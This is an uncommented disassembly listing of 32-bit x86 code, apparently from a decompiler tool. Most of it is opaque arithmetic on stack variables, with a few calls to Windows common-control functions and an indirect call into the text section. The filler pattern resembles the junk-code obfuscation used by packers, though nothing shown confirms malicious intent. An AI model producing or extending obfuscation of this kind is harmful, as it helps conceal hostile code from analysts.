mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3234]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [section..data]
and edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6510]
sub ecx, dword [ebp - 0x2a9c]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4a55]
or eax, ecx
mov byte [ebp - 0x2421], al
cmp dword [ebp - 0x94cc], 0xb9b9
jbe 0x404fcb
mov edx, dword [ebp - 0x6ce4]
sub edx, 0x31
mov dword [ebp - 0x6ce4], edx
movzx eax, word [ebp - 0x1b5c]
sar eax, 5
mov word [ebp - 0x1b5c], ax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x4c18]
xor edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x81c]
sub ecx, dword [eax]
mov dword [ebp - 0x3234], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
movsx eax, word [ebp - 0x194c]
add eax, 0x218
mov word [ebp - 0xadc0], ax
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
sub edx, eax
mov byte [ebp - 0x2b89], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4e20]
mov dword [ebp - 0x3234], edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1b5c]
and ecx, 0xa15
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa4bc]
shr eax, cl
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x6510]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2b89]
sub ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x4a55]
movzx edx, byte [ebp - 0x911]
add ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0xa4bc]
sub eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3234]
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x2b89]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movsx ecx, word [ebp - 0x194c]
add ecx, 0x186
mov word [ebp - 0xadc0], cx
mov edx, dword [ebp - 0xcc0]
add edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2421]
add edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5020]
mov eax, dword [section..data]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x9708]
shr edx, cl
mov dword [section..data], edx
movzx eax, word [ebp - 0x1b5c]
shl eax, 6
mov word [ebp - 0x1b5c], ax
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x4a55]
or ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x9708]
mov dword [ebp - 0xa4bc], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x4e20], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x3234]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0x741c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x6ef4]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
sub eax, ecx
mov edx, dword [ebp - 0x7398]
mov byte [edx], al
movzx eax, byte [ebp - 0x911]
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x4a55], al
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x6894]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
cmp dword [ebp - 0x6ce4], 0xfd5e
ja 0x4053e7
mov eax, dword [ebp - 0x1fb8]
sub eax, 5
mov dword [ebp - 0x1fb8], eax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x6894]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3234]
sub ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x727d]
or ecx, edx
mov byte [ebp - 0x2b89], cl
mov eax, dword [ebp - 0xb520]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x2b89]
shl edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x911], dl
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0xa4bc]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x9708], eax
mov ecx, dword [ebp - 0xa4bc]
and ecx, dword [section..data]
mov dword [ebp - 0x9708], ecx
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9708]
sub ecx, dword [ebp - 0x4c18]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x2a9c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2421]
movzx eax, byte [ebp - 0x911]
add edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1b5c]
and edx, 0xa3b
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
add ecx, dword [section..data]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
cmp dword [ebp - 0x1fb8], 0xa0c3
jae 0x405766
movzx eax, word [ebp - 0x1b5c]
mov dword [ebp - 0xb68c], eax
cmp dword [ebp - 0xb68c], 0x21c
je 0x4058cf
cmp dword [ebp - 0xb68c], 0xabc
je 0x405964
jmp 0x4059f2
movsx ecx, word [ebp - 0xadc0]
mov dword [ebp - 0xb690], ecx
cmp dword [ebp - 0xb690], 0x1ad
je 0x40593a
cmp dword [ebp - 0xb690], 0x321
je 0x4058f6
jmp 0x40595f
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
add eax, dword [ecx]
mov dword [ebp - 0x4e20], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
jmp 0x40595f
push 0xa
lea edx, [ebp - 0x1b60]
push edx
push fcn.00401350
mov eax, dword [ebp - 0x3888]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x8528], eax
call fcn.0049fde0
jmp 0x4059f2
movzx ecx, word [ebp - 0x1b5c]
mov dword [ebp - 0xb694], ecx
cmp dword [ebp - 0xb694], 0xa7
je 0x4059da
cmp dword [ebp - 0xb694], 0x539
je 0x40598b
jmp 0x4059f2
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x4a55]
or edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x776c]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x79f0], eax
movzx eax, word [ebp - 0x1b5c]
shl eax, 8
mov word [ebp - 0x1b5c], ax
mov edx, dword [ebp - 0x1b5c]
mov ecx, dword [ebp - 0x1b5c]
call section..text
jmp 0x4059f2
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f9d]
sar eax, cl
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], al
mov edx, dword [section..data]
and edx, dword [ebp - 0x4c18]
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
movsx eax, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x5f9d]
add eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x6510]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2a9c]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4a55]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [ebp - 0x3234]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6894]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0xcc0]
xor eax, dword [ebp - 0x6510]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0xae0c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x2a9c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x2b89]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
add edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movzx edx, word [ebp - 0x1b5c]
sub edx, 0xdb2
mov word [ebp - 0x1b5c], dx
movzx eax, byte [ebp - 0x911]
movzx ecx, byte [ebp - 0x4a55]
add eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x2421]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], al
movzx edx, byte [ebp - 0x2421]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0xa4bc]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
or edx, dword [ebp - 0xa4bc]
mov dword [section..data], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2421]
add edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x911], al
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x4e20], ecx
movsx edx, byte [ebp - 0x727d]
movsx eax, byte [ebp - 0x5f9d]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movsx edx, word [ebp - 0x194c]
sub edx, 0x6c
mov word [ebp - 0xadc0], dx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4a55]
sub ecx, edx
mov byte [ebp - 0x911], cl
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0xcc0]
add ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0x81c]
and edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x768]
add ecx, 0xf6
mov dword [ebp - 0x768], ecx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x1b60]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x4e20], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x741c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xcc0], edx
movzx eax, byte [ebp - 0x911]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x2421], al
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
add edx, dword [eax]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], edx
cmp dword [ebp - 0x768], 0xedec
jb 0x4059f2
mov edx, dword [ebp - 0x9708]
and edx, dword [ebp - 0x4c18]
mov dword [section..data], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4e20]
mov dword [ebp - 0x3234], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x3234], ecx
mov edx, dword [ebp - 0x6d5c]
add edx, 0x56
mov dword [ebp - 0x6d5c], edx
movzx eax, byte [ebp - 0x4a55]
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], al
movzx edx, word [ebp - 0x1b5c]
add edx, 0xe16
mov word [ebp - 0x1b5c], dx
movsx eax, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x2b89]
sub eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
movsx eax, word [ebp - 0xadc0]
sub eax, 0x62e
mov word [ebp - 0x194c], ax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6894]
add edx, dword [ebp - 0x3234]
mov dword [ebp - 0x6510], edx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0xa4bc]
or ecx, dword [eax]
mov dword [section..data], ecx
movsx edx, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x5f9d]
sar edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0xa4bc]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2a9c]
xor ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3234]
mov dword [ebp - 0x2a9c], ecx
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b89]
sub eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x4a55]
and eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x81c]
add ecx, dword [eax]
mov dword [ebp - 0x4e20], ecx
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
add eax, dword [ebp - 0xa4bc]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x9708]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x81c]
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x6510]
add eax, dword [ebp - 0x3234]
mov dword [ebp - 0x2a9c], eax
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x5f9d]
shl edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
xor edx, eax
mov byte [ebp - 0x2b89], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2421]
sar eax, cl
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], al
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
and eax, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [section..data], ecx
movzx edx, word [ebp - 0x1b5c]
add edx, 0x794
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x2421], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x741c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
and eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [section..data]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
cmp dword [ebp - 0x6d5c], 0x41eb
jbe 0x405e05
cmp dword [ebp - 0x4308], 0x1edd
ja 0x4062d9
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x2421]
sub edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], al
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
or eax, dword [ebp - 0x9708]
mov dword [section..data], eax
mov edx, dword [ebp - 0x6510]
mov ecx, dword [ebp - 0x81c]
shl edx, cl
mov dword [ebp - 0x3234], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2b89]
xor ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movsx edx, byte [ebp - 0x727d]
movsx ecx, byte [ebp - 0x2b89]
sar edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x2421], dl
movzx edx, word [ebp - 0x1b5c]
add edx, 0xf14
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x9708]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9708]
add edx, dword [ebp - 0xa4bc]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x81c]
and eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x911]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4308]
add edx, 0xc9
mov dword [ebp - 0x4308], edx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x81c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
jmp 0x406111
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4c18]
shr edx, cl
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x911], dl
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
and eax, dword [ebp - 0x9708]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x81c]
add edx, dword [ebp - 0x3234]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x83e4]
add edx, 0x92
mov dword [ebp - 0x83e4], edx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x9708]
add ecx, dword [eax]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4e20]
mov dword [ebp - 0x2a9c], ecx
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x2421]
sub edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x2421]
movzx eax, byte [ebp - 0x4a55]
sub edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x5020]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x6ef4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x81c]
or eax, dword [ebp - 0x6510]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x6510]
sar edx, cl
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
movzx edx, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
shl edx, cl
mov byte [ebp - 0x4a55], dl
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x911]
xor ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x4c18]
add edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
